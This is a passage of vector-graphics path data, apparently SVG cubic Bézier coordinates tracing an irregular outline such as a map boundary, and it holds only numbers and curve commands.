137954.93 140299.81 137938.32 140318.02 137927.66C140345.35 137909.45 140372.67 137891.22 140400.00 137873.00C140389.33 137851.67 140378.67 137830.33 140368.00 137809.00C140346.67 137809.00 140325.33 137809.00 140304.00 137809.00C140304.00 137787.33 140304.00 137765.67 140304.00 137744.00C140282.33 137765.67 140260.67 137787.33 140239.00 137809.00C140249.67 137809.00 140260.33 137809.00 140271.00 137809.00C140260.33 137819.67 140249.67 137830.33 140239.00 137841.00C140217.67 137841.00 140196.33 137841.00 140175.00 137841.00C140153.67 137873.00 140132.33 137905.00 140111.00 137937.00C140057.33 137947.67 140003.67 137958.33 139950.00 137969.00C139928.67 137979.67 139907.33 137990.33 139886.00 138001.00C139875.00 138001.00 139864.00 138001.00 139853.00 138001.00C139831.67 137979.67 139810.33 137958.33 139789.00 137937.00C139799.67 137926.33 139810.33 137915.67 139821.00 137905.00C139821.00 137894.33 139821.00 137883.67 139821.00 137873.00C139842.67 137851.67 139864.33 137830.33 139886.00 137809.00C139875.00 137809.00 139864.00 137809.00 139853.00 137809.00C139864.00 137787.33 139875.00 137765.67 139886.00 137744.00C139896.67 137744.00 139907.33 137744.00 139918.00 137744.00C139907.33 137722.67 139896.67 137701.33 139886.00 137680.00C139886.00 137669.33 139886.00 137658.67 139886.00 137648.00C139864.33 137637.33 139842.67 137626.67 139821.00 137616.00C139789.00 137637.33 139757.00 137658.67 139725.00 137680.00C139692.67 137669.33 139660.33 137658.67 139628.00 137648.00C139617.33 137658.67 139606.67 137669.33 139596.00 137680.00C139596.00 137690.67 139596.00 137701.33 139596.00 137712.00C139574.67 137733.33 139553.33 137754.67 139532.00 137776.00C139542.67 137787.00 139553.33 137798.00 139564.00 137809.00C139564.00 137819.67 139564.00 137830.33 139564.00 137841.00C139585.33 137841.00 139606.67 137841.00 139628.00 137841.00C139639.00 137873.00 139650.00 137905.00 139661.00 137937.00C139682.33 137947.67 139703.67 137958.33 139725.00 137969.00C139725.00 137979.67 139725.00 137990.33 139725.00 138001.00C139735.67 138001.00 139746.33 138001.00 139757.00 138001.00C139725.00 138012.00 139693.00 138023.00 139661.00 138034.00C139650.00 138044.67 139639.00 138055.33 139628.00 138066.00C139606.67 138055.33 139585.33 138044.67 139564.00 138034.00C139542.67 138034.00 139521.33 138034.00 139500.00 138034.00C139500.00 138044.67 139500.00 138055.33 139500.00 138066.00C139489.33 138076.67 139478.67 138087.33 139468.00 138098.00C139457.00 138098.00 139446.00 138098.00 139435.00 138098.00C139435.00 138108.67 139435.00 138119.33 139435.00 138130.00C139403.00 138140.67 139371.00 138151.33 139339.00 138162.00C139328.33 138172.67 139317.67 138183.33 139307.00 138194.00C139264.00 138205.00 139221.00 138216.00 139178.00 138227.00C139167.33 138269.67 139156.67 138312.33 139146.00 138355.00C139167.33 138376.33 139188.67 138397.67 139210.00 138419.00C139221.15 138418.90 139232.31 138419.21 139243.46 138418.85C139307.31 138397.58 139371.15 138376.28 139435.00 138355.00C139488.67 138355.00 139542.33 138355.00 139596.00 138355.00C139585.33 138355.00 139574.67 138355.00 139564.00 138355.00C139585.33 138387.33 139606.67 138419.67 139628.00 138452.00C139628.00 138473.33 139628.00 138494.67 139628.00 138516.00C139639.00 138516.00 139650.00 138516.00 139661.00 138516.00C139661.00 138537.33 139661.00 138558.67 139661.00 138580.00C139650.00 138590.67 139639.00 138601.33 139628.00 138612.00C139617.33 138612.00 139606.67 138612.00 139596.00 138612.00C139585.33 138633.67 139574.67 138655.33 139564.00 138677.00C139564.00 138687.67 139564.00 138698.33 139564.00 138709.00C139585.33 138730.33 139606.67 138751.67 139628.00 138773.00C139639.00 138773.00 139650.00 138773.00 139661.00 138773.00C139661.00 138783.67 139661.00 138794.33 139661.00 138805.00C139639.33 138805.00 139617.67 138805.00 139596.00 138805.00C139585.33 138794.33 139574.67 138783.67 139564.00 138773.00C139553.33 138773.00 139542.67 138773.00 139532.00 138773.00C139521.18 138751.57 139510.71 138729.97 139499.66 138708.66C139489.11 138698.11 139478.55 138687.55 139468.00 138677.00C139457.00 138698.33 139446.00 138719.67 139435.00 138741.00C139413.67 138741.00 139392.33 138741.00 139371.00 138741.00C139381.64 138794.83 139392.52 138848.62 139403.00 138902.48C139403.00 138912.99 139403.00 138923.49 139403.00 138934.00C139391.39 138944.90 139381.11 138957.37 139368.60 138967.21C139348.07 138977.48 139327.53 138987.73 139307.00 138998.00C139296.33 138998.00 139285.67 138998.00 139275.00 138998.00C139264.33 138987.33 139253.67 138976.67 139243.00 138966.00C139243.00 138944.67 139243.00 138923.33 139243.00 138902.00C139221.33 138891.33 139199.67 138880.67 139178.00 138870.00C139178.00 138880.67 139178.00 138891.33 139178.00 138902.00C139156.67 138891.33 139135.33 138880.67 139114.00 138870.00C139114.00 138880.67 139114.00 138891.33 139114.00 138902.00C139081.67 138902.00 139049.33 138902.00 139017.00 138902.00C139006.33 138923.33 138995.67 138944.67 138985.00 138966.00C138974.33 138966.00 138963.67 138966.00 138953.00 138966.00C138953.00 138998.00 138953.00 139030.00 138953.00 139062.00C138942.33 139062.00 138931.67 139062.00 138921.00 139062.00C138899.67 139073.00 138878.33 139084.00 138857.00 139095.00C138846.33 139095.00 138835.67 139095.00 138825.00 139095.00C138825.00 139062.67 138825.00 139030.33 138825.00 138998.00C138814.00 138998.00 138803.00 138998.00 138792.00 138998.00C138792.00 138966.00 138792.00 138934.00 138792.00 138902.00C138770.67 138902.00 138749.33 138902.00 138728.00 138902.00C138728.14 138891.19 138727.71 138880.37 138728.21 138869.57C138738.83 138848.06 138749.40 138826.52 138760.00 138805.00C138749.19 138805.15 138738.37 138804.71 138727.57 138805.22C138706.38 138815.81 138685.19 138826.41 138664.00 138837.00C138664.00 138848.00 138664.00 138859.00 138664.00 138870.00C138642.67 138891.33 138621.33 138912.67 138600.00 138934.00C138578.33 138934.00 138556.67 138934.00 138535.00 138934.00C138513.67 138955.33 138492.33 138976.67 138471.00 138998.00C138428.10 139019.54 138385.10 139040.87 138342.00 139062.00C138342.00 139073.00 138342.00 139084.00 138342.00 139095.00C138320.57 139105.82 138298.97 139116.29 138277.66 139127.34C138267.11 139137.89 138256.55 139148.45 138246.00 139159.00C138213.67 139148.33 138181.33 139137.67 138149.00 139127.00C138117.00 139148.33 138085.00 139169.67 138053.00 139191.00C138010.00 139180.33 137967.00 139169.67 137924.00 139159.00C137892.00 139169.67 137860.00 139180.33 137828.00 139191.00C137806.67 139212.33 137785.33 139233.67 137764.00 139255.00C137742.33 139255.00 137720.67 139255.00 137699.00 139255.00C137677.67 139276.67 137656.33 139298.33 137635.00 139320.00C137613.67 139309.33 137592.33 139298.67 137571.00 139288.00C137581.67 139277.00 137592.33 139266.00 137603.00 139255.00C137613.67 139223.00 137624.33 139191.00 137635.00 139159.00C137634.90 139148.18 137635.20 139137.36 137634.85 139126.54C137624.25 139094.36 137613.62 139062.18 137603.00 139030.00C137603.00 139019.33 137603.00 139008.67 137603.00 138998.00C137592.33 139008.67 137581.67 139019.33 137571.00 139030.00C137517.33 139040.67 137463.67 139051.33 137410.00 139062.00C137399.33 139051.33 137388.67 139040.67 137378.00 139030.00C137366.81 139040.69 137355.95 139051.71 137344.55 139062.18C137291.37 139083.79 137238.18 139105.39 137185.00 139127.00C137174.33 139148.33 137163.67 139169.67 137153.00 139191.00C137142.00 139180.33 137131.00 139169.67 137120.00 139159.00C137098.67 139159.00 137077.33 139159.00 137056.00 139159.00C137056.00 139137.67 137056.00 139116.33 137056.00 139095.00C137024.00 139095.00 136992.00 139095.00 136960.00 139095.00C136938.33 139127.00 136916.67 139159.00 136895.00 139191.00C136863.00 139180.33 136831.00 139169.67 136799.00 139159.00C136766.67 139169.67 136734.33 139180.33 136702.00 139191.00C136691.33 139201.67 136680.67 139212.33 136670.00 139223.00C136638.00 139212.33 136606.00 139201.67 136574.00 139191.00C136563.33 139169.67 136552.67 139148.33 136542.00 139127.00C136531.00 139116.33 136520.00 139105.67 136509.00 139095.00C136509.00 139084.00 136509.00 139073.00 136509.00 139062.00C136498.33 139062.00 136487.67 139062.00 136477.00 139062.00C136477.00 139051.33 136477.00 139040.67 136477.00 139030.00C136498.67 139030.00 136520.33 139030.00 136542.00 139030.00C136531.00 138998.00 136520.00 138966.00 136509.00 138934.00C136520.00 138923.33 136531.00 138912.67 136542.00 138902.00C136531.00 138891.33 136520.00 138880.67 136509.00 138870.00C136509.00 138848.33 136509.00 138826.67 136509.00 138805.00C136530.67 138762.33 136552.33 138719.67 136574.00 138677.00C136595.33 138666.00 136616.67 138655.00 136638.00 138644.00C136638.00 138633.33 136638.00 138622.67 136638.00 138612.00C136648.67 138612.00 136659.33 138612.00 136670.00 138612.00C136670.00 138601.33 136670.00 138590.67 136670.00 138580.00C136680.67 138569.33 136691.33 138558.67 136702.00 138548.00C136702.00 138537.33 136702.00 138526.67 136702.00 138516.00C136670.00 138516.00 136638.00 138516.00 136606.00 138516.00C136595.33 138526.67 136584.67 138537.33 136574.00 138548.00C136552.33 138516.00 136530.67 138484.00 136509.00 138452.00C136498.33 138452.00 136487.67 138452.00 136477.00 138452.00C136477.00 138441.00 136477.00 138430.00 136477.00 138419.00C136466.33 138430.00 136455.67 138441.00 136445.00 138452.00C136423.67 138452.00 136402.33 138452.00 136381.00 138452.00C136348.67 138430.33 136316.33 138408.67 136284.00 138387.00C136284.00 138397.67 136284.00 138408.33 136284.00 138419.00C136262.67 138408.33 136241.33 138397.67 136220.00 138387.00C136220.00 138376.33 136220.00 138365.67 136220.00 138355.00C136198.67 138355.00 136177.33 138355.00 136156.00 138355.00C136145.33 138323.00 136134.67 138291.00 136124.00 138259.00C136102.33 138259.00 136080.67 138259.00 136059.00 138259.00C136048.33 138248.33 136037.67 138237.67 136027.00 138227.00C136037.67 138216.00 136048.33 138205.00 136059.00 138194.00C136048.33 138183.33 136037.67 138172.67 136027.00 138162.00C136027.00 138151.33 136027.00 138140.67 136027.00 138130.00C136037.67 138119.33 136048.33 138108.67 136059.00 138098.00C136080.67 138108.67 136102.33 138119.33 136124.00 138130.00C136124.00 138119.33 136124.00 138108.67 136124.00 138098.00C136156.00 138087.33 136188.00 138076.67 136220.00 138066.00C136230.67 138055.33 136241.33 138044.67 136252.00 138034.00C136273.67 138044.67 136295.33 138055.33 136317.00 138066.00C136327.67 138055.33 136338.33 138044.67 136349.00 138034.00C136359.67 138044.67 136370.33 138055.33 136381.00 138066.00C136370.33 138076.67 136359.67 138087.33 136349.00 138098.00C136359.81 138097.85 136370.63 138098.29 136381.43 138097.78C136402.62 138087.19 136423.81 138076.59 136445.00 138066.00C136445.00 138044.33 136445.00 138022.67 136445.00 138001.00C136423.67 137979.67 136402.33 137958.33 136381.00 137937.00C136359.67 137937.00 136338.33 137937.00 136317.00 137937.00C136306.00 137926.33 136295.00 137915.67 136284.00 137905.00C136284.00 137894.33 136284.00 137883.67 136284.00 137873.00C136316.33 137862.33 136348.67 137851.67 136381.00 137841.00C136348.67 137808.67 136316.33 137776.33 136284.00 137744.00C136305.67 137722.67 136327.33 137701.33 136349.00 137680.00C136316.67 137680.00 136284.33 137680.00 136252.00 137680.00C136252.00 137658.67 136252.00 137637.33 136252.00 137616.00C136284.33 137583.67 136316.67 137551.33 136349.00 137519.00C136349.00 137497.67 136349.00 137476.33 136349.00 137455.00C136338.33 137465.67 136327.67 137476.33 136317.00 137487.00C136306.00 137487.00 136295.00 137487.00 136284.00 137487.00C136262.67 137476.33 136241.33 137465.67 136220.00 137455.00C136220.00 137444.33 136220.00 137433.67 136220.00 137423.00C136198.67 137423.00 136177.33 137423.00 136156.00 137423.00C136156.00 137401.33 136156.00 137379.67 136156.00 137358.00C136102.33 137358.00 136048.67 137358.00 135995.00 137358.00C135984.33 137347.33 135973.67 137336.67 135963.00 137326.00C135941.67 137336.67 135920.33 137347.33 135899.00 137358.00C135899.00 137336.67 135899.00 137315.33 135899.00 137294.00C135845.33 137272.67 135791.67 137251.33 135738.00 137230.00C135748.67 137219.33 135759.33 137208.67 135770.00 137198.00C135770.00 137176.33 135770.00 137154.67 135770.00 137133.00C135748.67 137122.33 135727.33 137111.67 135706.00 137101.00C135695.00 137101.00 135684.00 137101.00 135673.00 137101.00C135673.00 137090.33 135673.00 137079.67 135673.00 137069.00C135684.00 137058.33 135695.00 137047.67 135706.00 137037.00C135695.00 137026.33 135684.00 137015.67 135673.00 137005.00C135651.67 137005.00 135630.33 137005.00 135609.00 137005.00C135598.33 137015.67 135587.67 137026.33 135577.00 137037.00C135577.00 137026.33 135577.00 137015.67 135577.00 137005.00C135566.33 136994.33 135555.67 136983.67 135545.00 136973.00C135512.67 136973.00 135480.33 136973.00 135448.00 136973.00C135426.67 136962.00 135405.33 136951.00 135384.00 136940.00C135384.00 136951.00 135384.00 136962.00 135384.00 136973.00C135352.00 136962.00 135320.00 136951.00 135288.00 136940.00C135277.33 136929.33 135266.67 136918.67 135256.00 136908.00C135245.00 136908.00 135234.00 136908.00 135223.00 136908.00C135223.00 136897.33 135223.00 136886.67 135223.00 136876.00C135191.00 136865.33 135159.00 136854.67 135127.00 136844.00C135127.10 136833.18 135126.80 136822.36 135127.15 136811.54C135137.75 136779.36 135148.38 136747.18 135159.00 136715.00C135148.33 136704.33 135137.67 136693.67 135127.00 136683.00C135137.67 136661.67 135148.33 136640.33 135159.00 136619.00C135137.67 136619.00 135116.33 136619.00 135095.00 136619.00C135084.33 136597.67 135073.67 136576.33 135063.00 136555.00C135052.00 136555.00 135041.00 136555.00 135030.00 136555.00C135030.00 136544.00 135030.00 136533.00 135030.00 136522.00C135019.33 136522.00 135008.67 136522.00 134998.00 136522.00C134998.00 136500.67 134998.00 136479.33 134998.00 136458.00C134987.33 136447.33 134976.67 136436.67 134966.00 136426.00C134966.00 136415.33 134966.00 136404.67 134966.00 136394.00C134955.33 136394.00 134944.67 136394.00 134934.00 136394.00C134934.00 136383.33 134934.00 136372.67 134934.00 136362.00C134923.33 136362.00 134912.67 136362.00 134902.00 136362.00C134891.33 136351.00 134880.67 136340.00 134870.00 136329.00C134880.67 136329.00 134891.33 136329.00 134902.00 136329.00C134923.33 136307.67 134944.67 136286.33 134966.00 136265.00C134955.33 136243.67 134944.67 136222.33 134934.00 136201.00C134944.67 136190.33 134955.33 136179.67 134966.00 136169.00C134955.33 136158.33 134944.67 136147.67 134934.00 136137.00C134934.00 136126.00 134934.00 136115.00 134934.00 136104.00C134944.90 136092.39 134957.37 136082.11 134967.21 136069.60C134977.48 136049.07 134987.73 136028.53 134998.00 136008.00C135008.67 136018.67 135019.33 136029.33 135030.00 136040.00C135019.33 136018.67 135008.67 135997.33 134998.00 135976.00C135030.33 135954.33 135062.67 135932.67 135095.00 135911.00C135084.33 135900.33 135073.67 135889.67 135063.00 135879.00C135084.33 135825.67 135105.67 135772.33 135127.00 135719.00C135116.33 135708.00 135105.67 135697.00 135095.00 135686.00C135137.67 135686.00 135180.33 135686.00 135223.00 135686.00C135234.00 135654.00 135245.00 135622.00 135256.00 135590.00C135298.67 135579.33 135341.33 135568.67 135384.00 135558.00C135405.33 135536.67 135426.67 135515.33 135448.00 135494.00C135448.00 135483.00 135448.00 135472.00 135448.00 135461.00C135426.67 135461.00 135405.33 135461.00 135384.00 135461.00C135373.33 135429.00 135362.67 135397.00 135352.00 135365.00C135330.57 135354.18 135308.97 135343.71 135287.66 135332.66C135266.11 135311.11 135244.55 135289.55 135223.00 135268.00C135191.00 135279.00 135159.00 135290.00 135127.00 135301.00C135105.67 135290.00 135084.33 135279.00 135063.00 135268.00C135009.33 135268.00 134955.67 135268.00 134902.00 135268.00C134891.33 135257.33 134880.67 135246.67 134870.00 135236.00C134870.00 135214.67 134870.00 135193.33 134870.00 135172.00C134880.67 135172.00 134891.33 135172.00 134902.00 135172.00C134912.67 135182.67 134923.33 135193.33 134934.00 135204.00C134955.33 135193.33 134976.67 135182.67 134998.00 135172.00C135019.82 135171.90 135041.64 135172.20 135063.46 135171.85C135095.31 135161.25 135127.15 135150.62 135159.00 135140.00C135159.00 135129.33 135159.00 135118.67 135159.00 135108.00C135137.57 135096.85 135115.97 135086.03 135094.66 135074.66C135073.10 135053.44 135051.55 135032.22 135030.00 135011.00C135041.00 134989.67 135052.00 134968.33 135063.00 134947.00C135073.67 134947.00 135084.33 134947.00 135095.00 134947.00C135095.00 134936.33 135095.00 134925.67 135095.00 134915.00C135116.33 134925.67 135137.67 134936.33 135159.00 134947.00C135169.67 134936.33 135180.33 134925.67 135191.00 134915.00C135191.00 134904.33 135191.00 134893.67 135191.00 134883.00C135201.67 134883.00 135212.33 134883.00 135223.00 134883.00C135234.00 134872.00 135245.00 134861.00 135256.00 134850.00C135288.00 134871.67 135320.00 134893.33 135352.00 134915.00C135362.67 134915.00 135373.33 134915.00 135384.00 134915.00C135384.00 134882.67 135384.00 134850.33 135384.00 134818.00C135373.10 134806.39 135360.63 134796.11 135350.79 134783.60C135340.52 134763.07 135330.27 134742.53 135320.00 134722.00C135309.33 134722.00 135298.67 134722.00 135288.00 134722.00C135274.31 134707.31 135257.88 134694.82 135247.51 134677.34C135228.68 134649.22 135209.84 134621.11 135191.00 134593.00C135191.00 134571.67 135191.00 134550.33 135191.00 134529.00C135169.67 134518.33 135148.33 134507.67 135127.00 134497.00C135137.67 134475.33 135148.33 134453.67 135159.00 134432.00C135137.67 134410.67 135116.33 134389.33 135095.00 134368.00C135105.67 134357.33 135116.33 134346.67 135127.00 134336.00C135137.67 134336.00 135148.33 134336.00 135159.00 134336.00C135169.89 134324.38 135182.41 134314.12 135192.20 134301.57C135202.48 134280.72 135212.73 134259.85 135223.00 134239.00C135212.33 134228.33 135201.67 134217.67 135191.00 134207.00C135191.00 134196.33 135191.00 134185.67 135191.00 134175.00C135169.67 134143.00 135148.33 134111.00 135127.00 134079.00C135105.67 134079.00 135084.33 134079.00 135063.00 134079.00C135052.00 134057.33 135041.00 134035.67 135030.00 134014.00C135041.00 133992.67 135052.00 133971.33 135063.00 133950.00C135084.33 133939.33 135105.67 133928.67 135127.00 133918.00C135127.00 133907.33 135127.00 133896.67 135127.00 133886.00C135159.00 133853.67 135191.00 133821.33 135223.00 133789.00C135212.33 133767.67 135201.67 133746.33 135191.00 133725.00C135201.67 133725.00 135212.33 133725.00 135223.00 133725.00C135234.00 133714.33 135245.00 133703.67 135256.00 133693.00C135277.33 133693.00 135298.67 133693.00 135320.00 133693.00C135320.00 133628.67 135320.00 133564.33 135320.00 133500.00C135330.67 133478.67 135341.33 133457.33 135352.00 133436.00C135341.33 133414.33 135330.67 133392.67 135320.00 133371.00C135320.00 133360.33 135320.00 133349.67 135320.00 133339.00C135330.67 133328.33 135341.33 133317.67 135352.00 133307.00C135352.00 133285.67 135352.00 133264.33 135352.00 133243.00C135416.33 133253.67 135480.67 133264.33 135545.00 133275.00C135566.33 133264.33 135587.67 133253.67 135609.00 133243.00C135609.00 133210.67 135609.00 133178.33 135609.00 133146.00C135630.33 133135.33 135651.67 133124.67 135673.00 133114.00C135684.00 133114.00 135695.00 133114.00 135706.00 133114.00C135695.00 133092.67 135684.00 133071.33 135673.00 133050.00C135684.00 133039.33 135695.00 133028.67 135706.00 133018.00C135727.33 133018.00 135748.67 133018.00 135770.00 133018.00C135770.00 132996.33 135770.00 132974.67 135770.00 132953.00C135791.33 132942.33 135812.67 132931.67 135834.00 132921.00C135834.00 132910.33 135834.00 132899.67 135834.00 132889.00C135823.33 132878.33 135812.67 132867.67 135802.00 132857.00C135812.67 132846.33 135823.33 132835.67 135834.00 132825.00C135834.14 132814.19 135833.71 132803.37 135834.21 132792.57C135844.83 132771.06 135855.40 132749.52 135866.00 132728.00C135866.00 132717.33 135866.00 132706.67 135866.00 132696.00C135877.00 132685.33 135888.00 132674.67 135899.00 132664.00C135909.67 132664.00 135920.33 132664.00 135931.00 132664.00C135931.00 132653.33 135931.00 132642.67 135931.00 132632.00C135898.67 132599.67 135866.33 132567.33 135834.00 132535.00C135823.33 132513.67 135812.67 132492.33 135802.00 132471.00C135812.67 132460.33 135823.33 132449.67 135834.00 132439.00C135834.00 132417.67 135834.00 132396.33 135834.00 132375.00C135855.67 132353.33 135877.33 132331.67 135899.00 132310.00C135888.00 132299.33 135877.00 132288.67 135866.00 132278.00C135866.00 132256.67 135866.00 132235.33 135866.00 132214.00C135855.33 132203.33 135844.67 132192.67 135834.00 132182.00C135834.00 132160.33 135834.00 132138.67 135834.00 132117.00C135812.67 132117.00 135791.33 132117.00 135770.00 132117.00C135748.67 132106.33 135727.33 132095.67 135706.00 132085.00C135684.33 132085.00 135662.67 132085.00 135641.00 132085.00C135619.67 132074.33 135598.33 132063.67 135577.00 132053.00C135577.00 132042.33 135577.00 132031.67 135577.00 132021.00C135534.00 132042.33 135491.00 132063.67 135448.00 132085.00C135448.00 132095.67 135448.00 132106.33 135448.00 132117.00C135426.57 132106.18 135404.97 132095.71 135383.66 132084.66C135373.11 132074.11 135362.55 132063.55 135352.00 132053.00C135362.67 132042.33 135373.33 132031.67 135384.00 132021.00C135373.33 132021.00 135362.67 132021.00 135352.00 132021.00C135352.00 132010.33 135352.00 131999.67 135352.00 131989.00C135341.33 131978.33 135330.67 131967.67 135320.00 131957.00C135309.33 131957.00 135298.67 131957.00 135288.00 131957.00C135277.33 131935.33 135266.67 131913.67 135256.00 131892.00C135245.00 131881.33 135234.00 131870.67 135223.00 131860.00C135223.00 131806.33 135223.00 131752.67 135223.00 131699.00C135191.00 131699.00 135159.00 131699.00 135127.00 131699.00C135116.33 131720.67 135105.67 131742.33 135095.00 131764.00C135084.33 131764.00 135073.67 131764.00 135063.00 131764.00C135041.01 131785.23 135019.09 131806.54 134997.73 131828.40C134976.48 131860.26 134955.24 131892.13 134934.00 131924.00C134923.18 131902.57 134912.71 131880.97 134901.66 131859.66C134891.11 131849.11 134880.55 131838.55 134870.00 131828.00C134870.00 131838.67 134870.00 131849.33 134870.00 131860.00C134848.33 131860.00 134826.67 131860.00 134805.00 131860.00C134772.90 131838.53 134740.67 131817.26 134708.66 131795.66C134698.11 131785.11 134687.55 131774.55 134677.00 131764.00C134687.67 131742.33 134698.33 131720.67 134709.00 131699.00C134676.67 131699.00 134644.33 131699.00 134612.00 131699.00C134590.92 131720.92 134569.60 131742.59 134548.00 131764.00C134505.33 131753.33 134462.67 131742.67 134420.00 131732.00C134398.33 131732.00 134376.67 131732.00 134355.00 131732.00C134344.33 131742.67 134333.67 131753.33 134323.00 131764.00C134323.00 131774.67 134323.00 131785.33 134323.00 131796.00C134312.33 131806.67 134301.67 131817.33 134291.00 131828.00C134269.67 131828.00 134248.33 131828.00 134227.00 131828.00C134227.00 131838.67 134227.00 131849.33 134227.00 131860.00C134216.00 131860.00 134205.00 131860.00 134194.00 131860.00C134194.00 131870.67 134194.00 131881.33 134194.00 131892.00C134162.00 131902.67 134130.00 131913.33 134098.00 131924.00C134087.33 131935.00 134076.67 131946.00 134066.00 131957.00C134055.33 131957.00 134044.67 131957.00 134034.00 131957.00C134023.33 131967.67 134012.67 131978.33 134002.00 131989.00C133980.33 131989.00 133958.67 131989.00 133937.00 131989.00C133937.00 131999.67 133937.00 132010.33 133937.00 132021.00C133926.33 132010.33 133915.67 131999.67 133905.00 131989.00C133894.33 131999.67 133883.67 132010.33 133873.00 132021.00C133851.67 132010.33 133830.33 131999.67 133809.00 131989.00C133798.00 131999.67 133787.00 132010.33 133776.00 132021.00C133765.33 132010.33 133754.67 131999.67 133744.00 131989.00C133722.67 131989.00 133701.33 131989.00 133680.00 131989.00C133658.67 131999.67 133637.33 132010.33 133616.00 132021.00C133616.00 132010.33 133616.00 131999.67 133616.00 131989.00C133605.33 131999.67 133594.67 132010.33 133584.00 132021.00C133573.00 132010.33 133562.00 131999.67 133551.00 131989.00C133540.33 131989.00 133529.67 131989.00 133519.00 131989.00C133508.33 131978.33 133497.67 131967.67 133487.00 131957.00C133497.67 131957.00 133508.33 131957.00 133519.00 131957.00C133519.00 131946.00 133519.00 131935.00 133519.00 131924.00C133508.33 131902.67 133497.67 131881.33 133487.00 131860.00C133497.67 131860.00 133508.33 131860.00 133519.00 131860.00C133529.67 131838.67 133540.33 131817.33 133551.00 131796.00C133540.33 131774.67 133529.67 131753.33 133519.00 131732.00C133540.16 131709.83 133561.79 131688.12 133584.00 131667.00C133572.07 131656.09 133561.39 131643.67 133548.60 131633.79C133528.07 131623.52 133507.53 131613.27 133487.00 131603.00C133476.33 131581.67 133465.67 131560.33 133455.00 131539.00C133455.00 131528.00 133455.00 131517.00 133455.00 131506.00C133444.33 131484.67 133433.67 131463.33 133423.00 131442.00C133412.33 131442.00 133401.67 131442.00 133391.00 131442.00C133401.67 131431.33 133412.33 131420.67 133423.00 131410.00C133401.67 131388.67 133380.33 131367.33 133359.00 131346.00C133359.00 131313.67 133359.00 131281.33 133359.00 131249.00C133348.00 131227.67 133337.00 131206.33 133326.00 131185.00C133326.00 131174.33 133326.00 131163.67 133326.00 131153.00C133315.33 131153.00 133304.67 131153.00 133294.00 131153.00C133283.33 131131.33 133272.67 131109.67 133262.00 131088.00C133240.67 131099.00 133219.33 131110.00 133198.00 131121.00C133198.00 131099.33 133198.00 131077.67 133198.00 131056.00C133208.67 131045.33 133219.33 131034.67 133230.00 131024.00C133230.00 131013.33 133230.00 131002.67 133230.00 130992.00C133240.67 130981.33 133251.33 130970.67 133262.00 130960.00C133208.33 130960.00 133154.67 130960.00 133101.00 130960.00C133101.00 130970.67 133101.00 130981.33 133101.00 130992.00C133089.38 130969.47 133078.90 130946.32 133066.50 130924.21C133045.99 130893.15 133025.51 130862.07 133005.00 130831.00C133005.00 130820.33 133005.00 130809.67 133005.00 130799.00C132994.33 130788.33 132983.67 130777.67 132973.00 130767.00C132983.67 130734.67 132994.33 130702.33 133005.00 130670.00C132972.67 130638.00 132940.33 130606.00 132908.00 130574.00C132929.67 130563.33 132951.33 130552.67 132973.00 130542.00C132973.00 130520.67 132973.00 130499.33 132973.00 130478.00C132994.33 130478.00 133015.67 130478.00 133037.00 130478.00C133037.00 130467.00 133037.00 130456.00 133037.00 130445.00C133004.67 130434.33 132972.33 130423.67 132940.00 130413.00C132929.33 130402.33 132918.67 130391.67 132908.00 130381.00C132897.33 130381.00 132886.67 130381.00 132876.00 130381.00C132886.67 130349.00 132897.33 130317.00 132908.00 130285.00C132897.03 130261.97 132884.84 130239.49 132874.69 130216.09C132853.64 130153.11 132832.75 130090.08 132812.00 130027.00C132822.67 130016.33 132833.33 130005.67 132844.00 129995.00C132844.10 129973.51 132843.80 129952.03 132844.15 129930.54C132854.76 129898.36 132865.38 129866.18 132876.00 129834.00C132864.39 129823.10 132854.11 129810.63 132841.60 129800.79C132821.07 129790.52 132800.53 129780.27 132780.00 129770.00C132769.33 129748.67 132758.67 129727.33 132748.00 129706.00C132726.33 129706.00 132704.67 129706.00 132683.00 129706.00C132672.33 129684.67 132661.67 129663.33 132651.00 129642.00C132651.00 129620.33 132651.00 129598.67 132651.00 129577.00C132619.00 129577.00 132587.00 129577.00 132555.00 129577.00C132533.33 129555.67 132511.67 129534.33 132490.00 129513.00C132468.67 129470.00 132447.33 129427.00 132426.00 129384.00C132447.89 129329.75 132469.12 129275.22 132491.44 129221.15C132512.63 129179.10 132533.82 129137.05 132555.00 129095.00C132533.33 129052.00 132511.67 129009.00 132490.00 128966.00C132511.67 128955.33 132533.33 128944.67 132555.00 128934.00C132565.67 128902.00 132576.33 128870.00 132587.00 128838.00C132597.67 128838.00 132608.33 128838.00 132619.00 128838.00C132629.67 128827.33 132640.33 128816.67 132651.00 128806.00C132661.67 128763.00 132672.33 128720.00 132683.00 128677.00C132693.67 128677.00 132704.33 128677.00 132715.00 128677.00C132704.33 128655.67 132693.67 128634.33 132683.00 128613.00C132704.67 128591.33 132726.33 128569.67 132748.00 128548.00C132748.00 128537.33 132748.00 128526.67 132748.00 128516.00C132758.67 128505.33 132769.33 128494.67 132780.00 128484.00C132801.33 128494.67 132822.67 128505.33 132844.00 128516.00C132897.67 128516.00 132951.33 128516.00 133005.00 128516.00C133005.00 128505.33 133005.00 128494.67 133005.00 128484.00C133015.90 128472.39 133028.37 128462.11 133038.21 128449.60C133048.47 128429.07 133058.73 128408.53 133069.00 128388.00C133069.00 128366.33 133069.00 128344.67 133069.00 128323.00C133079.67 128301.67 133090.33 128280.33 133101.00 128259.00C133101.00 128237.67 133101.00 128216.33 133101.00 128195.00C133079.67 128184.33 133058.33 128173.67 133037.00 128163.00C133037.00 128130.67 133037.00 128098.33 133037.00 128066.00C133015.67 128055.33 132994.33 128044.67 132973.00 128034.00C132973.00 128001.67 132973.00 127969.33 132973.00 127937.00C132962.00 127937.00 132951.00 127937.00 132940.00 127937.00C132918.67 127894.33 132897.33 127851.67 132876.00 127809.00C132886.67 127798.33 132897.33 127787.67 132908.00 127777.00C132897.33 127755.33 132886.67 127733.67 132876.00 127712.00C132876.00 127690.67 132876.00 127669.33 132876.00 127648.00C132865.33 127648.00 132854.67 127648.00 132844.00 127648.00C132833.33 127626.67 132822.67 127605.33 132812.00 127584.00C132768.87 127573.22 132725.66 127562.74 132682.57 127551.78C132661.38 127540.85 132640.19 127529.93 132619.00 127519.00C132597.67 127519.00 132576.33 127519.00 132555.00 127519.00C132522.67 127487.00 132490.33 127455.00 132458.00 127423.00C132426.00 127412.33 132394.00 127401.67 132362.00 127391.00C132351.33 127369.67 132340.67 127348.33 132330.00 127327.00C132308.33 127327.00 132286.67 127327.00 132265.00 127327.00C132233.00 127305.33 132201.00 127283.67 132169.00 127262.00C132169.00 127251.33 132169.00 127240.67 132169.00 127230.00C132179.67 127219.33 132190.33 127208.67 132201.00 127198.00C132201.00 127187.33 132201.00 127176.67 132201.00 127166.00C132190.33 127166.00 132179.67 127166.00 132169.00 127166.00C132169.00 